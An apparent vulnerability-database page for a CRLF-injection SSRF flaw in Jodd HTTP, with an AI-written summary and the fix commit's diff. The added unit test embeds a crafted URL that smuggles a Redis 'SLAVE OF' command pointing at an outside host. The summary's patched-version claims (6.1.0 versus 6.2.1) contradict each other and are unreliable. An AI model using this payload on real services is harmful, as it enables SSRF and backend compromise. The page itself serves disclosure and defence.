CVE-2022-29631
Description
Jodd HTTP v6.0.9 and earlier versions contain CRLF injection vulnerabilities in HttpRequest#set and #send leading to SSRF via crafted TCP payloads.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Jodd HTTP v6.0.9 and earlier versions contain CRLF injection vulnerabilities in HttpRequest#set and #send leading to SSRF via crafted TCP payloads.
Vulnerability
Jodd HTTP versions up to and including 6.0.9 (as well as versions 5.0.x, 5.1.x, 5.2.x, 6.0.x, 6.1.x, 6.2.x) contain multiple CRLF injection vulnerabilities in the jodd.http.HttpRequest#set and jodd.http.HttpRequest#send methods [1][4]. The bug occurs because the library does not properly encode or validate user-supplied input when constructing the HTTP request path, query string, and fragment, allowing newline characters (\r\n) to be injected into the raw TCP payload [4].
Exploitation
An attacker can exploit this vulnerability by supplying a crafted URL containing CRLF sequences to any application using Jodd HTTP. The attacker does not require any special network position or authentication—only the ability to influence the URL passed to HttpRequest.get() or similar methods [4]. The provided proof-of-concept demonstrates sending a URL that injects a SLAVE OF command into a Redis connection on localhost:6379, showing that the injected payload can target arbitrary TCP services [4].
Impact
Successful exploitation allows an attacker to perform Server-Side Request Forgery (SSRF) via arbitrary TCP payload injection [1]. The attacker may be able to redirect requests, modify headers, or craft raw commands to backend services (e.g., Redis, Memcached, HTTP servers), potentially leading to data exfiltration, command execution, or further compromise [4].
Mitigation
The vulnerability was addressed in a commit by the Jodd HTTP maintainer, which replaced unsafe URLEncoder usage with URLCoder.encodePath to properly encode special characters [2]. Users should upgrade to Jodd HTTP version 6.1.0 or later (the fix was included in version 6.1.0 released in 2022). If upgrading is not possible, ensure that all URLs passed to the library are strictly validated and do not contain CRLF characters. No workaround is available for unpatched versions. This CVE is not listed in CISA's Known Exploited Vulnerabilities catalog.
AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
org.jodd:jodd-httpMaven | >= 5.0.0, < 6.2.1 | 6.2.1 |
Affected products
2- Jodd/Jodd HTTPdescription
Patches
1e50f573c8f6aEncode with URLCoder (closes #9)
2 files changed · +59 −22
src/main/java/jodd/http/HttpRequest.java+19 −22 modified@@ -27,6 +27,7 @@ import jodd.net.HttpMethod; import jodd.net.MimeTypes; +import jodd.net.URLCoder; import jodd.util.Base64; import jodd.util.StringPool; import jodd.util.StringUtil; @@ -37,7 +38,6 @@ import java.io.InputStreamReader; import java.io.OutputStream; import java.io.UnsupportedEncodingException; -import java.net.URLEncoder; import java.nio.charset.StandardCharsets; import java.util.Map; import java.util.concurrent.CompletableFuture; @@ -337,40 +337,37 @@ public String path() { * Adds a slash if path doesn't start with one. * Query will be stripped out from the path. * Previous query is discarded. + * * @see #query() */ - public HttpRequest path(String path){ + public HttpRequest path(String path) { // this must be the only place that sets the path if (!path.startsWith(StringPool.SLASH)) { path = StringPool.SLASH + path; } - try { - // remove fragment - final int fragmentIndex = path.indexOf('#'); - if (path.indexOf('#') != -1) { - this.fragment = URLEncoder.encode(path.substring(fragmentIndex + 1), StandardCharsets.UTF_8.name()); - path = path.substring(0, fragmentIndex); - } - - final int ndx = path.indexOf('?'); + // remove fragment + final int fragmentIndex = path.indexOf('#'); + if (path.indexOf('#') != -1) { + this.fragment = URLCoder.encodePath(path.substring(fragmentIndex + 1), StandardCharsets.UTF_8); + path = path.substring(0, fragmentIndex); + } - if (ndx != -1) { - final String queryString = path.substring(ndx + 1); + final int ndx = path.indexOf('?'); - path = URLEncoder.encode(path.substring(0, ndx), StandardCharsets.UTF_8.name()); + if (ndx != -1) { + final String queryString = path.substring(ndx + 1); - query = HttpUtil.parseQuery(queryString, true); - } else { - query = HttpMultiMap.newCaseInsensitiveMap(); - } + path = URLCoder.encodePath(path.substring(0, ndx), StandardCharsets.UTF_8); - this.path = URLEncoder.encode(path, StandardCharsets.UTF_8.name()); - ; - }catch (UnsupportedEncodingException e) { - return null; + query = HttpUtil.parseQuery(queryString, true); + } else { + query = HttpMultiMap.newCaseInsensitiveMap(); } + + this.path = URLCoder.encodePath(path, StandardCharsets.UTF_8); + return this; }
src/test/java/jodd/http/CRLFInjectionTest.java+40 −0 added@@ -0,0 +1,40 @@ +package jodd.http; + +import jodd.net.URLCoder; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +class CRLFInjectionTest { + + @Test + void testGet_crlf_injection() { + String url = "http://127.0.0.1:6379/ \rfoo";//"HTTP/1.1\r\nHost: 127.0.0.13:1099\r\n\r\nSLAVE OF inhann.top:6379\r\n\r\nPOST / "; + HttpRequest req = HttpRequest.get(url); + + assertEquals("GET /%20%0Dfoo HTTP/1.1", req.toString().split("\n")[0].trim()); + } + + @Test + void testGet_crlf_injection_path() { + String url = "http://127.0.0.1:6379/"; + HttpRequest req = HttpRequest.get(url).path(" \rfoo"); + + assertEquals("GET /%20%0Dfoo HTTP/1.1", req.toString().split("\n")[0].trim()); + } + + @Test + void testGet_crlf_injection2() { + String path = " HTTP/1.1\n" + + "Host: 127.0.0.13:1099\n" + + "\n" + + "SLAVE OF inhann.top:6379\n" + + "\n" + + "POST /"; + String url = "http://127.0.0.1:6379/" + path; + HttpRequest req = HttpRequest.get(url); + + assertEquals("GET /" + URLCoder.encodePath(path) + " HTTP/1.1", req.toString().split("\n")[0].trim()); + } + +}
Vulnerability mechanics
Generated on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5- github.com/advisories/GHSA-pp3c-cf6j-m3ffghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2022-29631ghsaADVISORY
- github.com/oblac/jodd-http/commit/e50f573c8f6a39212ade68c6eb1256b2889fa8a6ghsaWEB
- github.com/oblac/jodd-http/issues/9ghsax_refsource_MISCWEB
- github.com/oblac/jodd/issues/787ghsax_refsource_MISCWEB
News mentions
0No linked articles in our index yet.